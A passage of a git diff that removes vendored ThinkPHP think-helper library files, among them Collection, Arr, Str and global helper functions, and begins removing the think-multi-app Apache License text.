=== $result) { - break; - } elseif (!is_object($item)) { - $this->items[$key] = $result; - } - } - - return $this; - } - - /** - * 用回调函数处理数组中的元素 - * @access public - * @param callable|null $callback 回调 - * @return static - */ - public function map(callable $callback) - { - return new static(array_map($callback, $this->items)); - } - - /** - * 用回调函数过滤数组中的元素 - * @access public - * @param callable|null $callback 回调 - * @return static - */ - public function filter(callable $callback = null) - { - if ($callback) { - return new static(array_filter($this->items, $callback)); - } - - return new static(array_filter($this->items)); - } - - /** - * 根据字段条件过滤数组中的元素 - * @access public - * @param string $field 字段名 - * @param mixed $operator 操作符 - * @param mixed $value 数据 - * @return static - */ - public function where(string $field, $operator, $value = null) - { - if (is_null($value)) { - $value = $operator; - $operator = '='; - } - - return $this->filter(function ($data) use ($field, $operator, $value) { - if (strpos($field, '.')) { - [$field, $relation] = explode('.', $field); - - $result = $data[$field][$relation] ?? null; - } else { - $result = $data[$field] ?? null; - } - - switch (strtolower($operator)) { - case '===': - return $result === $value; - case '!==': - return $result !== $value; - case '!=': - case '<>': - return $result != $value; - case '>': - return $result > $value; - case '>=': - return $result >= $value; - case '<': - return $result < $value; - case '<=': - return $result <= $value; - case 'like': - return is_string($result) && false !== strpos($result, $value); - case 'not like': - return is_string($result) && false === strpos($result, $value); - case 'in': - return is_scalar($result) && in_array($result, $value, true); - case 'not in': - return is_scalar($result) && !in_array($result, $value, true); - case 'between': - [$min, $max] = is_string($value) ? explode(',', $value) : $value; - return is_scalar($result) && $result >= $min && $result <= $max; - case 'not between': - [$min, $max] = is_string($value) ? explode(',', $value) : $value; - return is_scalar($result) && $result > $max || $result < $min; - case '==': - case '=': - default: - return $result == $value; - } - }); - } - - /** - * LIKE过滤 - * @access public - * @param string $field 字段名 - * @param string $value 数据 - * @return static - */ - public function whereLike(string $field, string $value) - { - return $this->where($field, 'like', $value); - } - - /** - * NOT LIKE过滤 - * @access public - * @param string $field 字段名 - * @param string $value 数据 - * @return static - */ - public function whereNotLike(string $field, string $value) - { - return $this->where($field, 'not like', $value); - } - - /** - * IN过滤 - * @access public - * @param string $field 字段名 - * @param array $value 数据 - * @return static - */ - public function whereIn(string $field, array $value) - { - return $this->where($field, 'in', $value); - } - - /** - * NOT IN过滤 - * @access public - * @param string $field 字段名 - * @param array $value 数据 - * @return static - */ - public function whereNotIn(string $field, array $value) - { - return $this->where($field, 'not in', $value); - } - - /** - * BETWEEN 过滤 - * @access public - * @param string $field 字段名 - * @param mixed $value 数据 - * @return static - */ - public function whereBetween(string $field, $value) - { - return $this->where($field, 'between', $value); - } - - /** - * NOT BETWEEN 过滤 - * @access public - * @param string $field 字段名 - * @param mixed $value 数据 - * @return static - */ - public function whereNotBetween(string $field, $value) - { - return $this->where($field, 'not between', $value); - } - - /** - * 返回数据中指定的一列 - * @access public - * @param string|null $columnKey 键名 - * @param string|null $indexKey 作为索引值的列 - * @return array - */ - public function column(?string $columnKey, string $indexKey = null) - { - return array_column($this->items, $columnKey, $indexKey); - } - - /** - * 对数组排序 - * - * @access public - * @param callable|null $callback 回调 - * @return static - */ - public function sort(callable $callback = null) - { - $items = $this->items; - - $callback = $callback ?: function ($a, $b) { - return $a == $b ? 0 : (($a < $b) ? -1 : 1); - }; - - uasort($items, $callback); - - return new static($items); - } - - /** - * 指定字段排序 - * @access public - * @param string $field 排序字段 - * @param string $order 排序 - * @return $this - */ - public function order(string $field, string $order = 'asc') - { - return $this->sort(function ($a, $b) use ($field, $order) { - $fieldA = $a[$field] ?? null; - $fieldB = $b[$field] ?? null; - - return 'desc' == strtolower($order) ? $fieldB > $fieldA : $fieldA > $fieldB; - }); - } - - /** - * 将数组打乱 - * - * @access public - * @return static - */ - public function shuffle() - { - $items = $this->items; - - shuffle($items); - - return new static($items); - } - - /** - * 获取最第一个单元数据 - * - * @access public - * @param callable|null $callback - * @param null $default - * @return mixed - */ - public function first(callable $callback = null, $default = null) - { - return Arr::first($this->items, $callback, $default); - } - - /** - * 获取最后一个单元数据 - * - * @access public - * @param callable|null $callback - * @param null $default - * @return mixed - */ - public function last(callable $callback = null, $default = null) - { - return Arr::last($this->items, $callback, $default); - } - - /** - * 截取数组 - * - * @access public - * @param int $offset 起始位置 - * @param int $length 截取长度 - * @param bool $preserveKeys preserveKeys - * @return static - */ - public function slice(int $offset, int $length = null, bool $preserveKeys = false) - { - return new static(array_slice($this->items, $offset, $length, $preserveKeys)); - } - - // ArrayAccess - public function offsetExists($offset) - { - return array_key_exists($offset, $this->items); - } - - public function offsetGet($offset) - { - return $this->items[$offset]; - } - - public function offsetSet($offset, $value) - { - if (is_null($offset)) { - $this->items[] = $value; - } else { - $this->items[$offset] = $value; - } - } - - public function offsetUnset($offset) - { - unset($this->items[$offset]); - } - - //Countable - public function count() - { - return count($this->items); - } - - //IteratorAggregate - public function getIterator() - { - return new ArrayIterator($this->items); - } - - //JsonSerializable - public function jsonSerialize() - { - return $this->toArray(); - } - - /** - * 转换当前数据集为JSON字符串 - * @access public - * @param integer $options json参数 - * @return string - */ - public function toJson(int $options = JSON_UNESCAPED_UNICODE): string - { - return json_encode($this->toArray(), $options); - } - - public function __toString() - { - return $this->toJson(); - } - - /** - * 转换成数组 - * - * @access public - * @param mixed $items 数据 - * @return array - */ - protected function convertToArray($items): array - { - if ($items instanceof self) { - return $items->all(); - } - - return (array) $items; - } -} diff --git a/vendor/topthink/think-helper/src/contract/Arrayable.php b/vendor/topthink/think-helper/src/contract/Arrayable.php deleted file mode 100644 index 7c6b992..0000000 --- a/vendor/topthink/think-helper/src/contract/Arrayable.php +++ /dev/null @@ -1,8 +0,0 @@ - -// +---------------------------------------------------------------------- - -use think\Collection; -use think\helper\Arr; - -if (!function_exists('throw_if')) { - /** - * 按条件抛异常 - * - * @param mixed $condition - * @param Throwable|string $exception - * @param array ...$parameters - * @return mixed - * - * @throws Throwable - */ - function throw_if($condition, $exception, ...$parameters) - { - if ($condition) { - throw (is_string($exception) ? new $exception(...$parameters) : $exception); - } - - return $condition; - } -} - -if (!function_exists('throw_unless')) { - /** - * 按条件抛异常 - * - * @param mixed $condition - * @param Throwable|string $exception - * @param array ...$parameters - * @return mixed - * @throws Throwable - */ - function throw_unless($condition, $exception, ...$parameters) - { - if (!$condition) { - throw (is_string($exception) ? new $exception(...$parameters) : $exception); - } - - return $condition; - } -} - -if (!function_exists('tap')) { - /** - * 对一个值调用给定的闭包,然后返回该值 - * - * @param mixed $value - * @param callable|null $callback - * @return mixed - */ - function tap($value, $callback = null) - { - if (is_null($callback)) { - return $value; - } - - $callback($value); - - return $value; - } -} - -if (!function_exists('value')) { - /** - * Return the default value of the given value. - * - * @param mixed $value - * @return mixed - */ - function value($value) - { - return $value instanceof Closure ? $value() : $value; - } -} - -if (!function_exists('collect')) { - /** - * Create a collection from the given value. - * - * @param mixed $value - * @return Collection - */ - function collect($value = null) - { - return new Collection($value); - } -} - -if (!function_exists('data_fill')) { - /** - * Fill in data where it's missing. - * - * @param mixed $target - * @param string|array $key - * @param mixed $value - * @return mixed - */ - function data_fill(&$target, $key, $value) - { - return data_set($target, $key, $value, false); - } -} - -if (!function_exists('data_get')) { - /** - * Get an item from an array or object using "dot" notation. - * - * @param mixed $target - * @param string|array|int $key - * @param mixed $default - * @return mixed - */ - function data_get($target, $key, $default = null) - { - if (is_null($key)) { - return $target; - } - - $key = is_array($key) ? $key : explode('.', $key); - - while (!is_null($segment = array_shift($key))) { - if ('*' === $segment) { - if ($target instanceof Collection) { - $target = $target->all(); - } elseif (!is_array($target)) { - return value($default); - } - - $result = []; - - foreach ($target as $item) { - $result[] = data_get($item, $key); - } - - return in_array('*', $key) ? Arr::collapse($result) : $result; - } - - if (Arr::accessible($target) && Arr::exists($target, $segment)) { - $target = $target[$segment]; - } elseif (is_object($target) && isset($target->{$segment})) { - $target = $target->{$segment}; - } else { - return value($default); - } - } - - return $target; - } -} - -if (!function_exists('data_set')) { - /** - * Set an item on an array or object using dot notation. - * - * @param mixed $target - * @param string|array $key - * @param mixed $value - * @param bool $overwrite - * @return mixed - */ - function data_set(&$target, $key, $value, $overwrite = true) - { - $segments = is_array($key) ? $key : explode('.', $key); - - if (($segment = array_shift($segments)) === '*') { - if (!Arr::accessible($target)) { - $target = []; - } - - if ($segments) { - foreach ($target as &$inner) { - data_set($inner, $segments, $value, $overwrite); - } - } elseif ($overwrite) { - foreach ($target as &$inner) { - $inner = $value; - } - } - } elseif (Arr::accessible($target)) { - if ($segments) { - if (!Arr::exists($target, $segment)) { - $target[$segment] = []; - } - - data_set($target[$segment], $segments, $value, $overwrite); - } elseif ($overwrite || !Arr::exists($target, $segment)) { - $target[$segment] = $value; - } - } elseif (is_object($target)) { - if ($segments) { - if (!isset($target->{$segment})) { - $target->{$segment} = []; - } - - data_set($target->{$segment}, $segments, $value, $overwrite); - } elseif ($overwrite || !isset($target->{$segment})) { - $target->{$segment} = $value; - } - } else { - $target = []; - - if ($segments) { - data_set($target[$segment], $segments, $value, $overwrite); - } elseif ($overwrite) { - $target[$segment] = $value; - } - } - - return $target; - } -} - -if (!function_exists('trait_uses_recursive')) { - /** - * 获取一个trait里所有引用到的trait - * - * @param string $trait Trait - * @return array - */ - function trait_uses_recursive(string $trait): array - { - $traits = class_uses($trait); - foreach ($traits as $trait) { - $traits += trait_uses_recursive($trait); - } - - return $traits; - } -} - -if (!function_exists('class_basename')) { - /** - * 获取类名(不包含命名空间) - * - * @param mixed $class 类名 - * @return string - */ - function class_basename($class): string - { - $class = is_object($class) ? get_class($class) : $class; - return basename(str_replace('\\', '/', $class)); - } -} - -if (!function_exists('class_uses_recursive')) { - /** - *获取一个类里所有用到的trait,包括父类的 - * - * @param mixed $class 类名 - * @return array - */ - function class_uses_recursive($class): array - { - if (is_object($class)) { - $class = get_class($class); - } - - $results = []; - $classes = array_merge([$class => $class], class_parents($class)); - foreach ($classes as $class) { - $results += trait_uses_recursive($class); - } - - return array_unique($results); - } -} diff --git a/vendor/topthink/think-helper/src/helper/Arr.php b/vendor/topthink/think-helper/src/helper/Arr.php deleted file mode 100644 index ed4d6a9..0000000 --- a/vendor/topthink/think-helper/src/helper/Arr.php +++ /dev/null @@ -1,634 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\helper; - -use ArrayAccess; -use InvalidArgumentException; -use think\Collection; - -class Arr -{ - - /** - * Determine whether the given value is array accessible. - * - * @param mixed $value - * @return bool - */ - public static function accessible($value) - { - return is_array($value) || $value instanceof ArrayAccess; - } - - /** - * Add an element to an array using "dot" notation if it doesn't exist. - * - * @param array $array - * @param string $key - * @param mixed $value - * @return array - */ - public static function add($array, $key, $value) - { - if (is_null(static::get($array, $key))) { - static::set($array, $key, $value); - } - - return $array; - } - - /** - * Collapse an array of arrays into a single array. - * - * @param array $array - * @return array - */ - public static function collapse($array) - { - $results = []; - - foreach ($array as $values) { - if ($values instanceof Collection) { - $values = $values->all(); - } elseif (!is_array($values)) { - continue; - } - - $results = array_merge($results, $values); - } - - return $results; - } - - /** - * Cross join the given arrays, returning all possible permutations. - * - * @param array ...$arrays - * @return array - */ - public static function crossJoin(...$arrays) - { - $results = [[]]; - - foreach ($arrays as $index => $array) { - $append = []; - - foreach ($results as $product) { - foreach ($array as $item) { - $product[$index] = $item; - - $append[] = $product; - } - } - - $results = $append; - } - - return $results; - } - - /** - * Divide an array into two arrays. One with keys and the other with values. - * - * @param array $array - * @return array - */ - public static function divide($array) - { - return [array_keys($array), array_values($array)]; - } - - /** - * Flatten a multi-dimensional associative array with dots. - * - * @param array $array - * @param string $prepend - * @return array - */ - public static function dot($array, $prepend = '') - { - $results = []; - - foreach ($array as $key => $value) { - if (is_array($value) && !empty($value)) { - $results = array_merge($results, static::dot($value, $prepend . $key . '.')); - } else { - $results[$prepend . $key] = $value; - } - } - - return $results; - } - - /** - * Get all of the given array except for a specified array of keys. - * - * @param array $array - * @param array|string $keys - * @return array - */ - public static function except($array, $keys) - { - static::forget($array, $keys); - - return $array; - } - - /** - * Determine if the given key exists in the provided array. - * - * @param \ArrayAccess|array $array - * @param string|int $key - * @return bool - */ - public static function exists($array, $key) - { - if ($array instanceof ArrayAccess) { - return $array->offsetExists($key); - } - - return array_key_exists($key, $array); - } - - /** - * Return the first element in an array passing a given truth test. - * - * @param array $array - * @param callable|null $callback - * @param mixed $default - * @return mixed - */ - public static function first($array, callable $callback = null, $default = null) - { - if (is_null($callback)) { - if (empty($array)) { - return value($default); - } - - foreach ($array as $item) { - return $item; - } - } - - foreach ($array as $key => $value) { - if (call_user_func($callback, $value, $key)) { - return $value; - } - } - - return value($default); - } - - /** - * Return the last element in an array passing a given truth test. - * - * @param array $array - * @param callable|null $callback - * @param mixed $default - * @return mixed - */ - public static function last($array, callable $callback = null, $default = null) - { - if (is_null($callback)) { - return empty($array) ? value($default) : end($array); - } - - return static::first(array_reverse($array, true), $callback, $default); - } - - /** - * Flatten a multi-dimensional array into a single level. - * - * @param array $array - * @param int $depth - * @return array - */ - public static function flatten($array, $depth = INF) - { - $result = []; - - foreach ($array as $item) { - $item = $item instanceof Collection ? $item->all() : $item; - - if (!is_array($item)) { - $result[] = $item; - } elseif ($depth === 1) { - $result = array_merge($result, array_values($item)); - } else { - $result = array_merge($result, static::flatten($item, $depth - 1)); - } - } - - return $result; - } - - /** - * Remove one or many array items from a given array using "dot" notation. - * - * @param array $array - * @param array|string $keys - * @return void - */ - public static function forget(&$array, $keys) - { - $original = &$array; - - $keys = (array) $keys; - - if (count($keys) === 0) { - return; - } - - foreach ($keys as $key) { - // if the exact key exists in the top-level, remove it - if (static::exists($array, $key)) { - unset($array[$key]); - - continue; - } - - $parts = explode('.', $key); - - // clean up before each pass - $array = &$original; - - while (count($parts) > 1) { - $part = array_shift($parts); - - if (isset($array[$part]) && is_array($array[$part])) { - $array = &$array[$part]; - } else { - continue 2; - } - } - - unset($array[array_shift($parts)]); - } - } - - /** - * Get an item from an array using "dot" notation. - * - * @param \ArrayAccess|array $array - * @param string $key - * @param mixed $default - * @return mixed - */ - public static function get($array, $key, $default = null) - { - if (!static::accessible($array)) { - return value($default); - } - - if (is_null($key)) { - return $array; - } - - if (static::exists($array, $key)) { - return $array[$key]; - } - - if (strpos($key, '.') === false) { - return $array[$key] ?? value($default); - } - - foreach (explode('.', $key) as $segment) { - if (static::accessible($array) && static::exists($array, $segment)) { - $array = $array[$segment]; - } else { - return value($default); - } - } - - return $array; - } - - /** - * Check if an item or items exist in an array using "dot" notation. - * - * @param \ArrayAccess|array $array - * @param string|array $keys - * @return bool - */ - public static function has($array, $keys) - { - $keys = (array) $keys; - - if (!$array || $keys === []) { - return false; - } - - foreach ($keys as $key) { - $subKeyArray = $array; - - if (static::exists($array, $key)) { - continue; - } - - foreach (explode('.', $key) as $segment) { - if (static::accessible($subKeyArray) && static::exists($subKeyArray, $segment)) { - $subKeyArray = $subKeyArray[$segment]; - } else { - return false; - } - } - } - - return true; - } - - /** - * Determines if an array is associative. - * - * An array is "associative" if it doesn't have sequential numerical keys beginning with zero. - * - * @param array $array - * @return bool - */ - public static function isAssoc(array $array) - { - $keys = array_keys($array); - - return array_keys($keys) !== $keys; - } - - /** - * Get a subset of the items from the given array. - * - * @param array $array - * @param array|string $keys - * @return array - */ - public static function only($array, $keys) - { - return array_intersect_key($array, array_flip((array) $keys)); - } - - /** - * Pluck an array of values from an array. - * - * @param array $array - * @param string|array $value - * @param string|array|null $key - * @return array - */ - public static function pluck($array, $value, $key = null) - { - $results = []; - - [$value, $key] = static::explodePluckParameters($value, $key); - - foreach ($array as $item) { - $itemValue = data_get($item, $value); - - // If the key is "null", we will just append the value to the array and keep - // looping. Otherwise we will key the array using the value of the key we - // received from the developer. Then we'll return the final array form. - if (is_null($key)) { - $results[] = $itemValue; - } else { - $itemKey = data_get($item, $key); - - if (is_object($itemKey) && method_exists($itemKey, '__toString')) { - $itemKey = (string) $itemKey; - } - - $results[$itemKey] = $itemValue; - } - } - - return $results; - } - - /** - * Explode the "value" and "key" arguments passed to "pluck". - * - * @param string|array $value - * @param string|array|null $key - * @return array - */ - protected static function explodePluckParameters($value, $key) - { - $value = is_string($value) ? explode('.', $value) : $value; - - $key = is_null($key) || is_array($key) ? $key : explode('.', $key); - - return [$value, $key]; - } - - /** - * Push an item onto the beginning of an array. - * - * @param array $array - * @param mixed $value - * @param mixed $key - * @return array - */ - public static function prepend($array, $value, $key = null) - { - if (is_null($key)) { - array_unshift($array, $value); - } else { - $array = [$key => $value] + $array; - } - - return $array; - } - - /** - * Get a value from the array, and remove it. - * - * @param array $array - * @param string $key - * @param mixed $default - * @return mixed - */ - public static function pull(&$array, $key, $default = null) - { - $value = static::get($array, $key, $default); - - static::forget($array, $key); - - return $value; - } - - /** - * Get one or a specified number of random values from an array. - * - * @param array $array - * @param int|null $number - * @return mixed - * - * @throws \InvalidArgumentException - */ - public static function random($array, $number = null) - { - $requested = is_null($number) ? 1 : $number; - - $count = count($array); - - if ($requested > $count) { - throw new InvalidArgumentException( - "You requested {$requested} items, but there are only {$count} items available." - ); - } - - if (is_null($number)) { - return $array[array_rand($array)]; - } - - if ((int) $number === 0) { - return []; - } - - $keys = array_rand($array, $number); - - $results = []; - - foreach ((array) $keys as $key) { - $results[] = $array[$key]; - } - - return $results; - } - - /** - * Set an array item to a given value using "dot" notation. - * - * If no key is given to the method, the entire array will be replaced. - * - * @param array $array - * @param string $key - * @param mixed $value - * @return array - */ - public static function set(&$array, $key, $value) - { - if (is_null($key)) { - return $array = $value; - } - - $keys = explode('.', $key); - - while (count($keys) > 1) { - $key = array_shift($keys); - - // If the key doesn't exist at this depth, we will just create an empty array - // to hold the next value, allowing us to create the arrays to hold final - // values at the correct depth. Then we'll keep digging into the array. - if (!isset($array[$key]) || !is_array($array[$key])) { - $array[$key] = []; - } - - $array = &$array[$key]; - } - - $array[array_shift($keys)] = $value; - - return $array; - } - - /** - * Shuffle the given array and return the result. - * - * @param array $array - * @param int|null $seed - * @return array - */ - public static function shuffle($array, $seed = null) - { - if (is_null($seed)) { - shuffle($array); - } else { - srand($seed); - - usort($array, function () { - return rand(-1, 1); - }); - } - - return $array; - } - - /** - * Sort the array using the given callback or "dot" notation. - * - * @param array $array - * @param callable|string|null $callback - * @return array - */ - public static function sort($array, $callback = null) - { - return Collection::make($array)->sort($callback)->all(); - } - - /** - * Recursively sort an array by keys and values. - * - * @param array $array - * @return array - */ - public static function sortRecursive($array) - { - foreach ($array as &$value) { - if (is_array($value)) { - $value = static::sortRecursive($value); - } - } - - if (static::isAssoc($array)) { - ksort($array); - } else { - sort($array); - } - - return $array; - } - - /** - * Convert the array into a query string. - * - * @param array $array - * @return string - */ - public static function query($array) - { - return http_build_query($array, null, '&', PHP_QUERY_RFC3986); - } - - /** - * Filter the array using the given callback. - * - * @param array $array - * @param callable $callback - * @return array - */ - public static function where($array, callable $callback) - { - return array_filter($array, $callback, ARRAY_FILTER_USE_BOTH); - } - - /** - * If the given value is not an array and not null, wrap it in one. - * - * @param mixed $value - * @return array - */ - public static function wrap($value) - { - if (is_null($value)) { - return []; - } - - return is_array($value) ? $value : [$value]; - } -} \ No newline at end of file diff --git a/vendor/topthink/think-helper/src/helper/Str.php b/vendor/topthink/think-helper/src/helper/Str.php deleted file mode 100644 index 7391fbd..0000000 --- a/vendor/topthink/think-helper/src/helper/Str.php +++ /dev/null @@ -1,234 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\helper; - -class Str -{ - - protected static $snakeCache = []; - - protected static $camelCache = []; - - protected static $studlyCache = []; - - /** - * 检查字符串中是否包含某些字符串 - * @param string $haystack - * @param string|array $needles - * @return bool - */ - public static function contains(string $haystack, $needles): bool - { - foreach ((array) $needles as $needle) { - if ('' != $needle && mb_strpos($haystack, $needle) !== false) { - return true; - } - } - - return false; - } - - /** - * 检查字符串是否以某些字符串结尾 - * - * @param string $haystack - * @param string|array $needles - * @return bool - */ - public static function endsWith(string $haystack, $needles): bool - { - foreach ((array) $needles as $needle) { - if ((string) $needle === static::substr($haystack, -static::length($needle))) { - return true; - } - } - - return false; - } - - /** - * 检查字符串是否以某些字符串开头 - * - * @param string $haystack - * @param string|array $needles - * @return bool - */ - public static function startsWith(string $haystack, $needles): bool - { - foreach ((array) $needles as $needle) { - if ('' != $needle && mb_strpos($haystack, $needle) === 0) { - return true; - } - } - - return false; - } - - /** - * 获取指定长度的随机字母数字组合的字符串 - * - * @param int $length - * @param int $type - * @param string $addChars - * @return string - */ - public static function random(int $length = 6, int $type = null, string $addChars = ''): string - { - $str = ''; - switch ($type) { - case 0: - $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' . $addChars; - break; - case 1: - $chars = str_repeat('0123456789', 3); - break; - case 2: - $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' . $addChars; - break; - case 3: - $chars = 'abcdefghijklmnopqrstuvwxyz' . $addChars; - break; - case 4: - $chars = "们以我到他会作时要动国产的一是工就年阶义发成部民可出能方进在了不和有大这主中人上为来分生对于学下级地个用同行面说种过命度革而多子后自社加小机也经力线本电高量长党得实家定深法表着水理化争现所二起政三好十战无农使性前等反体合斗路图把结第里正新开论之物从当两些还天资事队批点育重其思与间内去因件日利相由压员气业代全组数果期导平各基或月毛然如应形想制心样干都向变关问比展那它最及外没看治提五解系林者米群头意只明四道马认次文通但条较克又公孔领军流入接席位情运器并飞原油放立题质指建区验活众很教决特此常石强极土少已根共直团统式转别造切九你取西持总料连任志观调七么山程百报更见必真保热委手改管处己将修支识病象几先老光专什六型具示复安带每东增则完风回南广劳轮科北打积车计给节做务被整联步类集号列温装即毫知轴研单色坚据速防史拉世设达尔场织历花受求传口断况采精金界品判参层止边清至万确究书" . $addChars; - break; - default: - $chars = 'ABCDEFGHIJKMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz23456789' . $addChars; - break; - } - if ($length > 10) { - $chars = $type == 1 ? str_repeat($chars, $length) : str_repeat($chars, 5); - } - if ($type != 4) { - $chars = str_shuffle($chars); - $str = substr($chars, 0, $length); - } else { - for ($i = 0; $i < $length; $i++) { - $str .= mb_substr($chars, floor(mt_rand(0, mb_strlen($chars, 'utf-8') - 1)), 1); - } - } - return $str; - } - - /** - * 字符串转小写 - * - * @param string $value - * @return string - */ - public static function lower(string $value): string - { - return mb_strtolower($value, 'UTF-8'); - } - - /** - * 字符串转大写 - * - * @param string $value - * @return string - */ - public static function upper(string $value): string - { - return mb_strtoupper($value, 'UTF-8'); - } - - /** - * 获取字符串的长度 - * - * @param string $value - * @return int - */ - public static function length(string $value): int - { - return mb_strlen($value); - } - - /** - * 截取字符串 - * - * @param string $string - * @param int $start - * @param int|null $length - * @return string - */ - public static function substr(string $string, int $start, int $length = null): string - { - return mb_substr($string, $start, $length, 'UTF-8'); - } - - /** - * 驼峰转下划线 - * - * @param string $value - * @param string $delimiter - * @return string - */ - public static function snake(string $value, string $delimiter = '_'): string - { - $key = $value; - - if (isset(static::$snakeCache[$key][$delimiter])) { - return static::$snakeCache[$key][$delimiter]; - } - - if (!ctype_lower($value)) { - $value = preg_replace('/\s+/u', '', $value); - - $value = static::lower(preg_replace('/(.)(?=[A-Z])/u', '$1' . $delimiter, $value)); - } - - return static::$snakeCache[$key][$delimiter] = $value; - } - - /** - * 下划线转驼峰(首字母小写) - * - * @param string $value - * @return string - */ - public static function camel(string $value): string - { - if (isset(static::$camelCache[$value])) { - return static::$camelCache[$value]; - } - - return static::$camelCache[$value] = lcfirst(static::studly($value)); - } - - /** - * 下划线转驼峰(首字母大写) - * - * @param string $value - * @return string - */ - public static function studly(string $value): string - { - $key = $value; - - if (isset(static::$studlyCache[$key])) { - return static::$studlyCache[$key]; - } - - $value = ucwords(str_replace(['-', '_'], ' ', $value)); - - return static::$studlyCache[$key] = str_replace(' ', '', $value); - } - - /** - * 转为首字母大写的标题格式 - * - * @param string $value - * @return string - */ - public static function title(string $value): string - { - return mb_convert_case($value, MB_CASE_TITLE, 'UTF-8'); - } -} diff --git a/vendor/topthink/think-multi-app/LICENSE b/vendor/topthink/think-multi-app/LICENSE deleted file mode 100644 index 261eeb9..0000000 --- a/vendor/topthink/think-multi-app/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting 